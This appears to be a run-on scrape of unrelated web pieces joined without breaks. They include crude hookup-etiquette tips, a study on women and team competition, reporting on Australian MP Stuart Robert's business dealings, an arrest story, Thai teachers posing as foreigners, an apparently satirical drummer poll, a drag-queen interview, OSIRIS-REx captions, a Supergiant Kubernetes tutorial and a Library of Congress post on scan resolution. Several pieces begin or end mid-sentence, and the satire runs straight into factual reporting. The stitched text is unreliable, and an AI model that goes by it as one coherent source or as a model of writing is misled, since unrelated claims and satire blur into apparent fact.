"A few, and I try to pay them off every month," Layton said. "And when I read the fine print, it makes me mad."Hook-up culture can be so mystifying. You’re going to perform an intimate act with a near stranger, and yet you don’t want to give up your self-respect with your orgasm. I’ve noticed that men are prone to judging a woman a “slut,” like that’s a bad thing, when the actual definition is:
Slut: A woman who has many casual sexual partners.
Consider this definition:
Man: A person who has many casual sexual partners.
I suggest a new definition:
Slut: A woman who loves sex, and will seize an opportunity to have a safe erotic encounter with someone to whom she is attracted.
There. No harm, no foul. A true slut is discriminating– she fucks people she feels a connection to (no mercy fucks) with no cheating, no lying and no element of compulsion. Ladies, please value yourselves enough to demand good treatment, and most of the time you will get it. Here are some tips for gentlemen, to ensure that everyone feels respected and appreciated, even when undertaking acts our Puritanical society deems “filthy.” Enjoy!
1. If she’s staying overnight, and carrying a heavy bag, offer to carry it. Women are generally physically less strong than men; if you want her to act like a woman in bed, treat her like one out of it. As you are expecting her to be someone with a vagina, that will shortly encompass your penis, then let her know you appreciate it. (If she wants to carry her own bag, don’t snatch it from her you brute.)
2. Open the door for her. See Tip #1.
3. Don’t walk five steps ahead of her. Every day I see guys in relationships who do this to women; it’s a not so subtle message they use to telegraph to a woman that she is not as important as they are. You wouldn’t rush in front of someone walking into a conference room, why not show the person you’re fucking the same respect?
4. Treat her with respect. Dirty talk is great, but it doesn’t mean treating someone like dirt. Listen and at least feign interest in what she is saying. This is a human being, and so are you, why say “please” and “thank-you” the way you would with any other human being?
5. Don’t be demeaning- unless she specifically says that’s her thing; if it is it’s likely just in bed and not at Starbucks. Where does it say that a dude can’t be a gentleman even if he’s decided a woman is a “slut” a “skank” or a “whore,” (or even if she enjoys being one for the night.) What does that say about you if you look down on a woman for having sex with you (Madonna/Whore much)? She may be a skank, but tonight she’s your skank.
6. Be affectionate. You both want sex, but does that mean you can’t hold hands, have eye contact or cuddle? Maybe men think a woman will misinterpret affection as a sign that they want to have a relationship with her. If you’ve been clear about the parameters of the encounter, that will not be the case. If you’re both discerning about who you choose to fuck, hooking-up can be a great opportunity to feel a little human touch, even outside of the genital regions.
7. After the act, if she is at your place, don’t rush her out of there. You may even offer her a glass of water, don’t worry—she will leave in a few minutes and you will have your precious man cave back. If you are at her place, don’t grab your pants and start putting them on the second after you’ve come. Give it a few minutes for you both to recover, and then try non-verbal cues to suggest that your time together has come to an end. If not, gentle and direct sentences like “I have to get up really early tomorrow, would you like me to walk you out?” are perfectly fine.
8. Always, ALWAYS get dressed again and walk a woman out of your house or apartment, even if she insists you don’t have to. It’s a sign of respect. You don’t have to go all the way to her car, but at least to the front of the building shows her you appreciate her effort in taking off her clothes in front of you.
9. Verbalize your appreciation about what took place. Just a simple, “Thank you that was great,” or “That was really hot, thanks for coming over,” go a long way in making you both feel good about things.
10. Send a text the next day. In the old days, perhaps we used to wait by the phone for a guy to call the day after sex, and I can understand why he didn’t. (That was also before it was widely understood that women want sex as much as men do.) Now that there is no pressure to make small talk, there is no excuse for not sending a text to say thanks. It’s just manners. Don’t worry, she won’t show up at your house with wedding napkin color wheels…"There is no 'I' in team, but there is in win," the basketball star Michael Jordan famously observed. But now it appears that such an emphasis on the role of the individual is a very male approach when it comes to competing. Indeed, a study suggests that women are much more willing than men to compete as part of a team.
Nearly two-thirds of the "gender competition gap" – the gap between the likelihood of men or women to enter a competition – disappears when people are offered the chance to compete in two-person teams rather than as individuals.Academics Andrew Healy and Jennifer Pate claim that their findings, published in the Economic Journal, have important implications for the design of competitive environments, such as elections and corporate career ladders.
The pair believe their research reveals that competing in teams "levels the playing field" by encouraging a higher number of qualified women to take part and discouraging unqualified men. They argue that this insight should help organisations to select the best-qualified leaders.
The economists conducted an experiment in which the participants had to answer maths problems as quickly as possible. Participants in teams decided whether they wanted to be paid according to the number of problems their two-person team answered correctly or whether they wanted to enter a competition against three other teams. Individual participants decided whether they wanted to compete against three other individuals.
The results highlighted huge differences between the genders:
■ Even though men and women performed equally well on the task, 81% of men chose to compete as individuals compared with 28% of women.
■ When participants competed in teams, the gender competition gap shrank by 31 percentage points to 22%, with 67% of men choosing to enter the competition compared with 45% of women.
Previous research has shown that a man is much more likely to choose to compete compared with a woman, even when the two are equally good at a given task. The professors claim their study suggests that this gender competition gap can be narrowed by simple changes to the environment in which competitions are held.
The economists suggest the gender competition gap may help to explain the continuing lack of women in positions of power. There are only five women CEOs of FTSE 100 companies. The likes of Angela Ahrendts at Burberry, Cynthia Carroll at Anglo American and Dame Marjorie Scardino at Pearson are extremely rare.
However, a new way of measuring their performance – one that focuses on their ability as part of a team rather than in a testosterone-loaded, gladiatorial-style competition – could change this, the economists suggest. "It appears to be the case that women often opt out of entering these competitive environments," Pate said. "Importantly, while qualified women opt out, unqualified men opt in. As a result, the gender competition gap may result in organisations failing to select the most qualified leaders."
Healy added: "The results of this study have implications for the nature of competitions. Competitions held on the basis of team performance rather than individual performance may attract more women – and fewer men."
The findings also have signficance for the world of politics. Women are much more likely to be active in politics in countries with party lists than in those where a single person is elected.
For example, in Germany and New Zealand, where representatives are elected by each method, the economists claim women are about three times more likely to be elected from the team-based competitions than the individual ones.Liberal MP Stuart Robert delivers the statement after Question Time. Credit:Alex Ellinghausen Mr Robert resigned his directorships and offloaded his shares in his GMT Group in 2010 – three years after he was first elected to Parliament. He told Fairfax Media he structured his affairs in a way that did not breach the constitution, but has refused to provide any evidence to support this claim. It emerged this week that Mr Robert's parents were made directors of Robert International - which held shares in GMT - on September 10, 2010 - less than a month after the election. The couple's home became the registered office for Robert International almost a month later. Alan Robert said he was unaware he had been appointed director and company secretary until informed by Fairfax Media.
Liberal MP Stuart Robert takes his seat after denying any wrongdoing. Credit:Alex Ellinghausen "Oh are we?" he said when told he and his wife were listed as directors of Robert International Pty Ltd between 2010 and 2016. "Blessed if I know; you'd have to talk to Stuart about that," he added. "No we haven't run it, no... Robert International was run by our son so I'm not too sure how we figured into the directorship thing but there hasn't been any direct involvement in it, no." Mr Robert claims to have "ceased involvement" in GMT before the 2010 election, which was held on August 21. However, his father's comments suggest he was still involved in Robert International, which continued to hold shares in GMT for more than a year after the 2010 election. ASIC records show Robert International, which is the trustee company for his family trust, held shares in GMT until December 2011. By this time, GMT companies had won 356 government contracts, averaging more than $100,000 each and totalling more than $37 million.
More than 45 government agencies have used GMT, including the Department of Foreign Affairs and Trade, Department of Veteran's Affairs, and CrimTrac. Mr Robert was a member of Parliament's Foreign Affairs, Trade and Defence committee while many of those contracts were awarded. Having initially claimed Fairfax Media lied about speaking to his father, Mr Robert on Thursday afternoon accused it of asking "opaque" questions. He noted his father was caring for his mother, who was recovering from a heart attack. He also tabled trust documents which he said were signed by his parents in their capacity as directors, and described his father as a "sophisticated investor". Mr Robert said his arrangements had been vetted by the Liberal National Party prior to his first preselection in 2007. The LNP's former president Bruce McIver has so far refused to respond to requests for comment.
Shadow attorney-general Mark Dreyfus said a "full investigation into this matter is warranted". "The big question is why has the Prime Minister refused to express confidence in Stuart Robert despite repeated opportunities? Just how much worse does it have to get before this government acts, and catches up with the reality that this man is not fit for public office?" Labor frontbencher Andrew Leigh wrote to the Australian Securities and Investments Commission on Thursday asking whether the regulator would "be investigating the allegations". During an unrelated appearance at a public hearing at Parliament House, ASIC commissioner John Price said he would "make some inquiries" following Fairfax Media's report. But he said this would not necessarily trigger a formal ASIC investigation. When Mr Robert was first elected in 2007 he remained a director of shareholder of multiple GMT companies, which he founded in 1999. He did not resign these interests until the day before the 2010 election, which produced a hung Parliament.
In a second conversation with Fairfax Media, Alan Robert said he could not recall signing multiple ASIC documents lodged in his name, including one as recently as last year handing back the directorship to his son. "<!--[if gte mso 9]> <![endif]--><!--[if gte mso 9]> Normal 0 false false false EN-GB JA X-NONE <![endif]--><!--[if gte mso 9]> <![endif]--><!--[if gte mso 10]> <![endif]--><!--StartFragment-->I suppose if the signature's there we must have signed them," he said, adding he had never profited from the private investment company. "No, no. I think it simply might have been a matter of using our address as a mailbox or something, I'm not sure," he said. "I don't know much about it really, not sure whether that's a trust." Fairfax Media on Wednesday put a series of detailed questions to Mr Robert about Robert International and his parents' involvement. Mr Robert did not respond to the specific questions. Prime Minister Malcolm Turnbull's office has been approached repeatedly for comment about Mr Robert's situation.
Asked if Mr Robert should give a full explanation, Attorney-General George Brandis said on Thursday he did not know enough about the case to comment. Robert International was founded in 1999. Mr Robert and his wife were listed as directors until 2010, resuming in 2016. Fairfax Media has been examining Mr Robert's business dealings after revealing GMT received $16.5 million worth of government contracts between 2007 and 2010, when Mr Robert was a director and shareholder in the multiple GMT companies. Loading Mr Robert, who was sacked from the frontbench last year, has claimed he arranged his personal finances to avoid breaching section 44 of the constitution which forbids MPs from benefiting from the Commonwealth."I don't have no fricking middle name! I'm not from fricking America," says an angry Vera Pecaj when she was arrested by a Green Oak Township police officer and she finally decided to tell him her name.
Pecaj's tirade, that was filled with obscenities, was caught on a police in-car camera, and the township released the video to 7 Action News Thursday.
The incident took place the afternoon of January 2, 2016.
It all began when a police officer spotted Pecaj running on the street instead of using the nearby sidewalk.
"The law requires her to use the sidewalk where one is provided," the officer wrote in his police report.
Police say Pecaj refused to stop for the officer even after he held up his hand, signaling her to stop.
"I'm not stopping for you," Pecaj reportedly told the officer.
"She began yelling at me saying that she did not need to stop because she did not do anything wrong," wrote the officer. "Pecaj turned away to begin jogging, and I grabbed her by the arm. She turned and shouted, 'Don't (expletive) touch me!' I advised Pecaj that she was under arrest and to put her hands behind her back."
The officer says Pecaj began swearing and screaming for help as he attempted to place her hands behind her back.
Pecaj is accused of continuously trying to resist the officer's attempt to arrest her.
At one point, the officer says she dropped to her knees and continued to resist.
"As we stood up, Pecaj continued swearing and then spat in the direction of my legs, hitting my pants," the officer wrote. "She then told me that she should have spit in my face."
Pecaj was charged with felony resisting and obstructing, but it's been reported that she later pleaded to a misdemeanor in the case.BANGKOK — Seeing him from a distance, young children call out their Singaporean teacher’s name before sprinting toward him, excited to practice speaking English.
For their teacher, it’s a rewarding moment he says he could never experience if they knew the truth about him: He’s actually a Thai national who pretends he cannot understand every single word they say.
“They will value us less if they know we are a Thai teacher,” said Natthawut, who teaches at a school in the southern city of Hat Yai and asked Khaosod English not to publish his real name out of concern for his employer. “They will no longer be eager to speak English with us.”
Natthawut said he is among more than 200 English teachers, most of whom are recent graduates from Thai universities, working for the same company. For more than four years, the firm he works for has provided English teachers for both public and private schools across the country, especially those with special English programs.
Natthawut was one of three teachers working for the company, Make a Wit, to describe the same arrangement in which they teach children by posing as foreign English teachers. Their names have been changed for this story. After agreeing to be interviewed without reservation, two of the teachers said they did not want to be identified.
There’s nothing illegal about the practice, and all three teachers and a representative of the company described what they do as a valuable teaching technique that forces students to speak because they believe their teachers are foreigners who cannot understand Thai.
Reached for comment by a reporter, one of the company’s founders told Khaosod English they make it clear to schools and parents the teachers they provide are fully qualified Thai nationals.
He said their policy only calls for teachers to use English names and never speak Thai on school grounds, but said Make a Wit never advises them to lie to students about where they are from.
After answering several questions from a reporter, the company representative ended the interview and declined to give his name.
Ethical Deception?
Taya, another teacher at a school in Ratchaburi province said she told her students she was a Thai-American living in Canada before moving to Thailand six years ago.
When pressing her thumb on the fingerprint scanner at the school, what appears on the screen is the English name she invented for herself.
“The kids are always watching what the screen will say since they are skeptical of me,” said the 23-year-old teacher. “But on formal documents, I use my Thai name.”
Despite some initial reservations, all three teachers said they saw nothing unethical about the arrangement. The purpose of assuming a false identity, to them, is nothing more than a means of teaching that they believe works, and an effective method they were encouraged to use by the company which employed them.
“They told us it’s not a disguise,” said another woman, who goes by “Nicole” in the classroom. “But in practice, it is. They didn’t tell us to do it directly but they implied it.”
According to the teachers, the other school teachers and the students’ parents are all aware of the arrangement. Inquiries made to several schools supported that, as teachers answering the phone confirmed their Intensive English programs were taught by Thai nationals.
The only ones being fooled, they said, are the children.
“We are not deceiving anyone. The company agreed with the school to hire teachers who have an accent similar to foreigners, and parents know that,” Natthawut said. “We just don’t tell children.”
Taya said the company only hires Thai nationals because it believes they can better understand the children since they share the same culture and background and are familiar with the Thai education system, unlike foreigners.
“It is better to use a Thai teacher who has studied English directly than a European teacher who might carry the wrong accent,” she said.
Suspicious Minds
Lying to the Internet Generation is, of course, not easy. Natthawut himself once got in trouble because one of the his student discovered his Instagram account on which he wrote in Thai.
“They tracked me from who is followed by my colleague’s account,” he said. “Back then I wasn’t careful enough to set my Instagram to private.”
Deeply wired Bangkok children are even craftier. Teacher Nicole, or Supaporn in Thai, said after a lot of tricks, some students finally found out she was Thai and not the Filipina she claimed to be.
“In the beginning I felt weird with a repressed feeling of, ‘Why do I have to be another person, am I deceiving the kids?’” Supaporn said. “Now I let it go and think what I’m doing is more like training them.”
But not everyone agrees that teachers misrepresenting themselves in the classroom is a good way to teach English. One well-known teacher who has stood before classes of students for 32 years said it should not even be an option.
“It’s a totally wrong concept. Moreover, what kind of ethics are you teaching to the children?” said Somphot Panawas, an expert on English language instruction at Suan Dusit University.
For Somphot, the psychological reasoning behind the technique – that students are more engaged and forced to speak – is an excuse.
“The excitement comes from the activities and the teaching methods, not the nationality of the teacher,” he said.
Teaching English to beginners without the support of their mother language is not always the best means, Somphot said was the opinion of experts, and can make the instruction useless for weak learners.
Lower-Cost Alternative
According to government regulations, teachers in English programs are not required to be native speakers, however they must achieve a required score on tests of English ability.
The quality of English language instruction in Thailand has long been lamented, and stories of poor student performance are news media staples.
Some parents prefer their children learn English from foreigners, but qualified teachers tend to be in short supply, especially due to the relatively low pay at public primary and secondary schools.
In a cost-saving measure, the Ministry of Education announced in November it would seek to cut the number of foreign teachers and invest in intensive training of Thai teachers.
Authorities at the Ministry of Education said schools face other obstacles in hiring qualified foreign teachers, such as a contentious Thai language and culture course they are required to complete.
But the most important reason cited by a high-level education official is the fact that schools receive no subsidy to employ foreigners, so they often have to go with the most affordable choice.
“Native speakers’ wages are usually expensive,” said Deputy Permanent Secretary Chaiyot Imsuwan. “But if you only want someone who can speak English, the wages are less.”
While people debate over whether the nationality of teachers influences attitudes of English-language learners, Chaiyot said one matter is already settled: The quality of their teachers depends on how much their parents can afford.WASHINGTON—According to a Zogby poll released this week, 96 percent of rock groups across the nation are currently in search of a slightly better drummer. "Nearly all bands surveyed indicated that, while their current drummer could keep time and was 'pretty good,' they certainly wouldn't mind playing with someone who could handle quicker rhythms and maybe knew a few more beats," |
left everything on the floor in that moment and you saw it all. I really don't have much more fuel to add to the fire. We all have opinions and the right to express them, but that's definitely not how I encourage my friends. That said, I believe I can always learn from what others say, as long as I remember that it is my responsibility to receive criticism with a filter that still allows me to be who I am.
Were you hurt that Adore joined in the criticism? Did this experience affect your friendship?
Of course it hurt and affected our friendship! But we were all under extreme pressure and I respect her opinion, even if I don't agree with it.
After hearing those comments, some of which you said you had never heard before, have you changed your approach to voice, performance, or drag? And overall, what have you learned from your RuPaul’s Drag Race experience?
I have learned to continue to be myself and own my stardom. The only change I have made is trying to grow some tougher skin, because clearly that will be necessary if I am to achieve what I want to do in the entertainment business. I have learned competition [in] reality TV is not for me, and I do best when surrounded by those who love and appreciate my talents for what they are, and not for what someone thinks they should be, okcurrr! I wear my heart on my sleeve, and I am going to find another atmosphere or venue where that is not an issue. But I may want to add some bullet-proofing to my heart, and this experience has helped me to move in that direction. I hope I can always take in criticism, review it, learn from it, and make myself a better person and performer as a result.
After having all that thrown at you, your lip-sync was very impressive. You were fierce. As a performer, how did you pull it together so quickly? Did it help that you had recently heard an inspiring message from your drag mother, Alyssa Edwards?
I could lip-sync and dance in my sleep. In fact sometimes I do! But of course, my drag mother's message was inspiring. Alyssa Edwards, a.k.a. Justin Johnson, totally understands me. We speak in tongue pops, yes gawds, and mammas, and knowing he had my back before I went down was everything to me! And in the end, I am a professional and do my best to put that out there.
Bianca drama aside… it was heartwarming to see the surprise message of support from your parents. Has your relationship with them improved since then?
My relationship with my parents is amazing! RuPaul really does bring families together. And crown or not, I am a winner for having my parents' full support, that, yes, I did wait 24 years for!
What first attracted you to drag, and what inspired your drag name?
After graduating from college with a BFA in dance and choreography, it was very hard to get a job as a dancer in Los Angeles. I don't know if it was my slender frame, neon-red hair, or flamboyant style, but no one was hiring me. Then I thought to myself, the gay community would most likely appreciate my talents and over-the-top attitude. So I decided to put on a dress and do the same thing. My name was inspired from my belief that our country should legalize marijuana usage. I knew that this would be a great way to call attention to the issue. Every interviewer asks, "How did you get your name?" So I wanted something that would stand out, be worth fighting for, and show others how fearless I am!
What should a drag queen always keep in her purse?
A joint, some nail glue, and lip gloss!
Who is your role model?
My sister is my biggest role model. She is not only my number-one supporter, but she also has taught me to be the unique individual that I am today. When we were growing up, we didn't really get along with each other, even though we were both gay and interested in dating outside of our race. She was the typical big sister who couldn't be bothered by her annoying little brother. But as I got older and she also matured more, our relationship began to change and a real bond was formed. We began to understand that, while our experiences of how our parents responded to our being gay [differed], we both had similar issues and desires. I'll never forget the first time I dressed up in women's clothing and went to the Rocky Horror Picture Show with her. I had to be barely 14, but somehow, she got me in, and we had the time of our lives. Since then, we have been there for each other and always make each other laugh. I really love her beyond what words on a page can express, and am so thankful to have someone as amazing as her in my life.
What’s next after RuPaul?
As I said in my "Meet the Queens," I want to do it all! I want to choreograph for Broadway, create and direct my own Cirque Du Soleil show, develop a spin-off show that follows me and my daily life as I try to create a dance company in Los Angeles, model on runways across the world, be on the cover of Vogue, act in movies and television — no small tasks, but all things that interest and excite me, and tap into various aspects of my personality and talents.
Thanks, Laganja! RuPaul's Drag Race airs Mondays at 9 p.m. Eastern on Logo. And watch a recent performance by Laganja at Hamburger Mary's below.Photos: OSIRIS-REx will take a sample of asteroid Bennu and return it to Earth An artist's concept of what the OSIRIS-REx spacecraft will look like as it orbits asteroid Bennu. Hide Caption 1 of 12
Photos: OSIRIS-REx will take a sample of asteroid Bennu and return it to Earth OSIRIS-REx sits on top of its launch vehicle, a United Launch Alliance Atlas V rocket, after it was rolled to the launch pad at Cape Canaveral on September 7, 2016. Hide Caption 2 of 12
Photos: OSIRIS-REx will take a sample of asteroid Bennu and return it to Earth This drawing shows an artist's concept of what it will look like when the OSIRIS-REx spacecraft briefly touches asteroid Bennu with its robot arm to grab a sample of the asteroid. Hide Caption 3 of 12
Photos: OSIRIS-REx will take a sample of asteroid Bennu and return it to Earth OSIRIS-REx will spend two years mapping and scanning Bennu before taking a sample of the asteroid and flying it back to Earth. Hide Caption 4 of 12
Photos: OSIRIS-REx will take a sample of asteroid Bennu and return it to Earth The OSIRIS-REx spacecraft is sealed inside its protective payload fairing as it sits atop a rocket at Space Launch Complex 41 on Cape Canaveral Air Force Station in Florida on September 2. Hide Caption 5 of 12
Photos: OSIRIS-REx will take a sample of asteroid Bennu and return it to Earth The OSIRIS-REx spacecraft, enclosed in its protective shell, is lifted and examined by workers on August 29 at Cape Canaveral Air Force Station in Florida. Hide Caption 6 of 12
Photos: OSIRIS-REx will take a sample of asteroid Bennu and return it to Earth The OSIRIS-REx spacecraft is sealed inside a two-piece payload fairing on August 24. The fairing will protect it during launch. Hide Caption 7 of 12
Photos: OSIRIS-REx will take a sample of asteroid Bennu and return it to Earth The OSIRIS-REx arrives at Kennedy Space Center on an Air Force C-17 aircraft. The spacecraft was shipped in this huge container from Lockheed Martin's facility near Denver. The spacecraft arrived at Kennedy on May 20. Hide Caption 8 of 12
Photos: OSIRIS-REx will take a sample of asteroid Bennu and return it to Earth The OSIRIS-REx spacecraft was built by Lockheed Martin Space Systems Company in Denver. It is 20.25 feet in length (6.2 meters) with its solar arrays deployed. Its width is 8 feet (2.43 meters) x 8 feet (2.43 meters). Its height is 10.33 feet (3.15 meters). It's powered by two solar panels that generate between 1,226 watts and 3,000 watts. It has five instruments to explore asteroid Bennu and also has a robot arm to touch the asteroid long enough to collect a sample. Hide Caption 9 of 12
Photos: OSIRIS-REx will take a sample of asteroid Bennu and return it to Earth OSIRIS-REx will briefly touch asteroid Bennu to take a sample of the space rock. It will use its 11-foot ( (3.35 meters) robot arm, called the Touch-and-Go Sample Arm Mechanism, or TAGSAM. Above, a worker at Lockheed Martin tests the arm. Hide Caption 10 of 12
Photos: OSIRIS-REx will take a sample of asteroid Bennu and return it to Earth NASA's OSIRIS-REx spacecraft is rotated on a spin table during testing on May 24 at Kennedy Space Center. Hide Caption 11 of 12By the end of this very brief tutorial, you will successfully deploy a Kubernetes cluster using Supergiant on AWS EC2, and it won’t take long at all.
Your cloud hardware will auto-scale according to the parameters you set to keep costs as low as possible. AWS hardware usage rates apply.
Sound awesome? It is.
For This Tutorial, You Will Need:
Note: This is the second article in a series to help you get up and running quickly with Kubernetes using Supergiant. If Supergiant is not yet running, see our previous article: How to Install Supergiant Container Orchestration Engine on AWS EC2. This article has been updated for Supergiant 0.11.x.
Kubernetes that Auto-Scales for You
Administering container orchestration systems and cloud hardware can be tedious because computing needs change. For everyone. All the time.
We got tired of manually doing the same things over and over, so we created Supergiant’s packing algorithm to automatically handle the work of scaling up and scaling down. When you launch a Kube with Supergiant, the packing algorithm is already active, and there is nothing more you need to do to reap auto-scaling cost-saving benefits.
After these few steps, you will have an auto-scaling Kubernetes cluster, too. Let’s get started.
Step 1: Log in to Supergiant
To log in to Supergiant, if you haven’t created a user, you will need the generated admin password. To retrieve it, go to your AWS EC2 console and access the system log for your Supergiant server.
With the instance selected, click Actions > Instance Settings > Get System Log.
Find your Supergiant admin Username and Password near the bottom of the System Log.
Now that you have credentials, access the Supergiant dashboard using the public DNS address of your instance. This address will be shown in your EC2 console.
Log in with your admin Username and Password, and you will be taken to the Sessions view.
Welcome to the Supergiant dashboard! From the Sessions view, we can see that our session has been created, and we can see and administrate who else is logged in.
Step 2: Add Cloud Credentials
Click to visit the Cloud Accounts view, and click to create a new entry with an AWS access key and secret key with full administrator access.
Enter the following, and click Create.
1 2 3 4 5 6 7 8 { "credentials" : { "access_key" : "AWS ACCESS KEY", "secret_key" : "AWS SECRET KEY" }, "name" : "ANY VALID JSON STRING", "provider" : "aws" }
After the cloud account is created, make a mental note of the Cloud Account ID that Supergiant assigns. You’ll use it in the next step.
Step 3: Create a Kube
Click to go to the Kubes view, and click to create a Kube.
You will be asked which cloud provider you prefer to use to create a Kube and its hardware. This tutorial contains examples for AWS; however, you may select any provider you like.
When you select a provider, the correct provider JSON syntax will be populated in the editor. There is nothing more happening in the background that that.
Some values will be pre-populated for you. Edit whatever you like, but be sure to edit or review the following entries:
"cloud_account_id" : enter the ID number of the Cloud Account you created above. Since v0.11 "cloud_account_id" is replaced by "cloud_account_name". Enter the friendly name you gave your cloud account when you created it above.
Since v0.11 is replaced by. Enter the friendly you gave your cloud account when you created it above. “ name ” : enter a string that starts with a letter, limited to 12 characters, made of lowercase letters and numbers, and/or dashes ( - ).
Note: On AWS, we recommend no dashes, as some AWS services can be finicky with dashes in certain places.
enter a string that starts with a letter, limited to 12 characters, made of lowercase letters and numbers, and/or dashes ( ). Note: On AWS, we recommend no dashes, as some AWS services can be finicky with dashes in certain places. “ node _ sizes” : these are the AWS EC2 instance types Supergiant uses to provision new hardware while auto-scaling to meet demand, starting with the smallest size that fits your needs. We’ve had very reliable performance running Kubernetes on the M4 family of instances, so the list is pre-populated with M4 values. For a complete list, see AWS Instance Types.
these are the AWS EC2 instance types Supergiant uses to provision new hardware while auto-scaling to meet demand, starting with the smallest size that fits your needs. We’ve had very reliable performance running Kubernetes on the M4 family of instances, so the list is pre-populated with M4 values. For a complete list, see AWS Instance Types. “ availability _ zone” : AWS hardware availability changes depending on your account. At times, AWS will make some zones available to you, while some not. Supergiant can deploy a Kube to any zone available to you, so reference this knowledge article to discover which AWS Regions and AZs are available to you.
AWS hardware availability changes depending on your account. At times, AWS will make some zones available to you, while some not. Supergiant can deploy a Kube to any zone available to you, so reference this knowledge article to discover which AWS Regions and AZs are available to you. “ region ” : Must be updated to be compatible with your availability_zone choice. E.g., if availability_zone is us - west - 2a, the region must be updated to us - west - 2.
When your edits are complete, click Create.
Step 4: Watch Supergiant Go!
Supergiant will orchestrate the provisioning of AWS services, including security settings, load balancers, routing tables and more. Finally, it will provision your Kube master and Kube minion and will display log output as it does it.
The longest wait time will be “waiting for Kubernetes” as you wait for the EC2 instance to be provisioned and boot. This could take 5 minutes or longer, depending on what instance types you have selected. Just be patient. Your order is up next.
Any errors will also be displayed in the log as they happen. There is no need to refresh the browser window.
Access Kubernetes
Once the process completes, you may click on the Kube ID to get details. To verify Kubernetes is running, get the username, password, and master_public_ip from the Kube details.
From the Kube details view, get the username, password, and master_public_ip.
From your terminal, enter the following:
1 curl -- insecure https : //USERNAME:PASSWORD@MASTER_PUBLIC_IP/api/v1/
You should see a JSON response describing the API. Congratulations — you’ve just launched an auto-scaling Kubernetes cluster!
Teardown
In case you want to tear down your tutorial Kube, simply click to view Kubes, select the one you wish to delete, and then select Delete from the Actions menu.
It’s as simple as that. Supergiant will clean up after itself and remove all the associated AWS services unique to the Kube.
Access the Supergiant Community
Remember, if you have trouble, or if you want to talk to other users about how they’re making the most of Supergiant, our community hangs out on the Supergiant public Slack channel.
We would love any feedback you want to leave. We’re working hard to add features that our community wants most, so all your comments are helpful to us. Visit our Slack channel, and post your questions and comments.
Where To Next?
This tutorial is one in a series to help you get started with Kubernetes using Supergiant. From here we recommend you check out the following:Preserving digital stuff for the future is a heavy responsibility. With digital photos, for instance, would it be possible someday to generate perfectly sharp high-density, high-resolution photos from blurry or low-resolution digital originals? Probably not but who knows? The technological future is unpredictable.
The possibility invites the question: shouldn’t we save our digital photos at the highest resolution possible just in case there’s a way to make the blurry ones crisp?
In our Library of Congress digital preservation resources we recommend 300 dpi/ppi for 4×8, 5×7 and 8×10 photos but why not 1000 dpi/ppi? 2,000 dpi/ppi? 10,000 dpi/ppi? Is there a threshold beyond which the pixel density is of little or no additional value to us? Isn’t “more” better?
The answer is, “it depends.” It depends on the quality of the original photo, whether higher dpi/ppi would display more detail or grainy dust, whether you scan a print or a negative and other factors. But there are some general guidelines a consumer can follow.
Recently we received a comment at the Signal in response to a blog post in which the commenter expressed concerns about our ppi/dpi resolution recommendation. The commenter raised some intriguing issues and I asked two digital photo experts to respond to his concerns.
Barry Wheeler, one of the experts who responded, is a photographer, staff member of the Library of Congress and one of the digital photograph preservation researchers for the Federal Agencies Digitization Guidelines Initiative. Wheeler has also written several blog posts for the Signal about scanning and photo digitization.
David Riecks, the other expert, is a photographer, co-founder of Controlled Vocabulary and PhotoMetadata.org. Riecks has written several blog posts for the Signal about photometadata and about processing digital photos.
Below are the comments from all three people. Please read them through and decide for your self what the best digital photo resolution for archiving is.
Mark S. Middleton wrote:
I am concerned that advising people to save at 300 dpi will result in lots of regrets for future generations. The quality of printing, computer monitors and televisions will continue to improve (and thus the ability to see details in higher quality imagery). Also, a person may want to zoom in and view just a portion of a scan or even cut out a piece (just their grandmother from a school group photo) all of which will suffer from 300 dpi.
I believe that 600 dpi is a better recommended minimum size. It’s better to build the quality into the original scan (saving as a TIFF), then saving JPEGs from that for sharing with relatives or posting online (for smaller file sizes). I recommend looking at the “use cases” of scanned photography and as well as better future proofing recommendations. 600 dpi does cause larger files, but with hard drive prices coming down I believe the value is worth it.
David Riecks responded:
I think the answer really revolves around what you are scanning. For “photos” (i.e. a photographic gelatin silver print, or chromogenic dye print like RA4 process), you can scan at a higher resolution. However, in most cases, all you will see are the defects.
If the original you have to work with is a 4 x 6 inch print, and you scan it at 600 or 1200 pixels per inch, you could then make the equivalent of an 8 x 12 inch print, but it’s not likely to give you better quality. It will…take up much more space on your hard drive.
If you have a high-quality 8 x 10 inch glossy print, in which the image is sharp (no motion blur from the camera moving), it might be worth going to a higher sampling setting. But I would recommend that you do some tests first to make sure it’s worth it.
In my experience, higher scanning resolutions usually just give me more dust to spot out later and the enlarged images never look as good as the small original.
If you are scanning a b&w or color negative or a color slide, then you certainly want to scan at higher resolutions. Which is best has much to do with your intentions (now and in the future), the quality of the original and the type of hardware you are using to make the scan.
Many scanners advertise an interpolated sampling rate in their “marketing speak” though you will often get better results scanning at the maximum “optical resolution” of the scanner.
Barry Wheeler responded:
First, begin with how much detail is there actually in the original. This amount of detail varies widely. A halftone screen for an old newspaper may result in less than 200 dpi actual. A modern lens on a quality black 7 white emulsion may be 2800 dpi.
In the old days, (the 1990s) when scanning became widely available, 300 dpi was a good starting point because many, many books and documents did not contain more detail than that, and even today, 300 dpi is a good starting point.
For example, at the Library of Congress we currently print our digital photographs using high quality pigment printers that may claim a resolution of 1200 or 2400 or much, much more. But those are microdots of different color merged to produce the variety of shades of gray or color. Usually the printer driver produces a finished resolution between 240 dpi and 360 dpi.
Second, we need to sort out the term “resolution.” Scanners and cameras contain pixels and “sample” the image at a “sampling rate” depending on the distance between the camera and the image. So when people talk about “resolution” using 300 ppi or 600 ppi or 3000 ppi they are actually using the “sampling rate” of the device. But few devices are 100% efficient.
Common scanners may be only 50% efficient; cameras may be 80 – 95% efficient. Thus the actual resolution achieved at 300 ppi may only be about 200 ppi – higher ppi rates are the result of image processing which may give the appearance of sharper lines but which does not produce additional detail. Many scanners will claim 1200 ppi and produce less than 600 ppi true optical resolution. Federal Agencies Digitization Guidelines Initiative standards (http://www.digitizationguidelines.gov/) are currently at 80% efficiency for a 2 star, 90% for a 3-star, and 95% for a 4-star outcome. Many of our projects for prints and photographs and rare books are 400 ppi at 3-star levels, although some are much higher.
Third, many people want to enlarge an image. We often try to scan film – particularly 35mm film – at a resolution necessary to provide a final print at 300 dpi. So if you want a common 4″ x 6″ print you need a true resolution of 1200 ppi. Specialized film scanners and high quality camera setups can achieve this. Commonly available consumer flatbed scanners cannot. (If you read the fine print specifications, they will often say something like “true 2400 ISO sampling rate” not ISO “resolution.”)
